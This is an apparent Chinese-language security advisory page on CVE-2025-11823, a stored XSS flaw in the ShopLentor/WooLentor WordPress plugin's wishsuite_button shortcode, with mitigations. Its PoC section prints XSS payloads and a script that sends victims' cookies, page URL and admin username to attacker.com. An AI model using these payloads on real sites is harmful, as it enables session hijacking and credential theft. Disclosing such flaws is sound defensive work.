IPBUF安全漏洞报告
English
CVE-2025-11823 CVSS 6.4 中危

CVE-2025-11823 | ShopLentor WordPress插件存储型XSS漏洞

披露日期: 2025-10-25

漏洞信息

漏洞编号
CVE-2025-11823
漏洞类型
存储型跨站脚本(Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ShopLentor – WooCommerce Builder for Elementor & Gutenberg +21 Modules – All in One Solution (WordPress插件)

相关标签

CVE-2025-11823WordPress插件漏洞存储型XSSShopLentorWooLentorWooCommerce短代码注入Cross-Site ScriptingWordPress安全Authenticated XSS

漏洞概述

CVE-2025-11823是WordPress插件ShopLentor(又称WooLentor)中存在的存储型跨站脚本(Stored XSS)漏洞。该插件是一款流行的WooCommerce页面构建器,为Elementor和Gutenberg编辑器提供了21个以上的模块功能。漏洞根源在于插件的wishsuite_button短代码功能中,对button_exist_text参数的用户输入缺乏充分的输入清理(sanitization)和输出转义(output escaping)。攻击者只需拥有WordPress网站的Contributor级别权限(低权限角色),即可在包含该短代码的页面中注入任意JavaScript脚本。由于漏洞属于存储型XSS,恶意脚本会被永久保存在数据库中,当其他用户访问被注入的页面时,恶意代码会自动执行,可能导致会话劫持、凭据窃取、管理员权限滥用等严重后果。此漏洞影响范围广泛,涉及所有版本至3.2.4的插件安装。

技术细节

漏洞存在于ShopLentor插件的wishlist模块中,具体位置为includes/modules/wishlist/includes/classes/Frontend/Shortcode.php文件第107行附近。该短代码处理函数在接收button_exist_text参数时,直接将该参数值嵌入到HTML输出中,未经过WordPress安全函数如esc_html()、esc_attr()或sanitize_text_field()的适当处理。攻击者可以通过以下方式利用此漏洞:首先,攻击者以Contributor或更高权限用户身份登录WordPress后台,在文章或页面编辑器的短代码块中添加[wishsuite_button button_exist_text='"><script>alert(document.cookie)</script>']这样的恶意payload。由于该参数值被直接存储且未经转义,当其他用户访问包含该短代码的页面时,浏览器会将其解析为可执行脚本。漏洞的技术关键点包括:1) 缺乏输入验证和清理;2) 缺乏输出转义;3) 短代码属性直接拼接到HTML;4) 存储型特性使攻击具有持久性。修复方案需在Shortcode.php的渲染逻辑中添加完整的输入清理和输出转义。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标网站使用的WordPress版本和ShopLentor插件版本,确认版本 <= 3.2.4
STEP 2
步骤2
初始访问:攻击者获取WordPress网站的Contributor级别账户权限(通过社会工程、凭据填充或内部人员)
STEP 3
步骤3
漏洞利用:攻击者编辑文章或页面,插入包含恶意payload的[wishsuite_button]短代码
STEP 4
步骤4
脚本存储:恶意JavaScript代码被保存到WordPress数据库中,当页面被访问时自动加载
STEP 5
步骤5
触发执行:受害者(管理员或其他用户)访问被注入的页面,恶意脚本在其浏览器中执行
STEP 6
步骤6
数据窃取/会话劫持:攻击者通过JavaScript获取受害者Cookie、会话令牌或执行管理员操作
STEP 7
步骤7
持久性控制:攻击者可能创建新的管理员账户或植入后门以维持长期访问

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-11823 PoC: Stored XSS via wishsuite_button shortcode --> <!-- Author: Security Researcher --> <!-- Target: ShopLentor/WooLentor WordPress Plugin <= 3.2.4 --> <!-- Method 1: Via WordPress Block Editor --> <!-- Insert this shortcode in any post/page content --> [wishsuite_button button_exist_text='"><script>alert("XSS")</script><x y="'] <!-- Method 2: Via WordPress REST API (authenticated) --> POST /wp-json/wp/v2/posts/{post_id} HTTP/1.1 Host: target.com Content-Type: application/json Authorization: Bearer {contributor_token} { "content": "[wishsuite_button button_exist_text='\"><script>fetch(\"https://attacker.com/log?cookie=\"+document.cookie)</script><x y=\"]\" } <!-- Method 3: JavaScript payload for cookie stealing --> <script> // Steal admin cookies when page is accessed fetch('https://attacker.com/steal', { method: 'POST', mode: 'no-cors', body: JSON.stringify({ cookies: document.cookie, location: window.location.href, user: document.querySelector('#wp-admin-bar-user-info .display-name')?.textContent }) }); </script>

影响范围

ShopLentor/WooLentor插件 <= 3.2.4

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1) 禁用或删除wishsuite相关的短代码功能;2) 临时禁用Contributor角色的文章发布权限;3) 使用Web应用防火墙(WAF)规则阻止包含可疑短代码参数的请求;4) 加强用户注册审核流程,防止恶意账户创建;5) 监控wp_posts表中的异常内容,特别是包含script标签的条目。建议尽快执行完整升级,因为临时措施可能影响网站功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表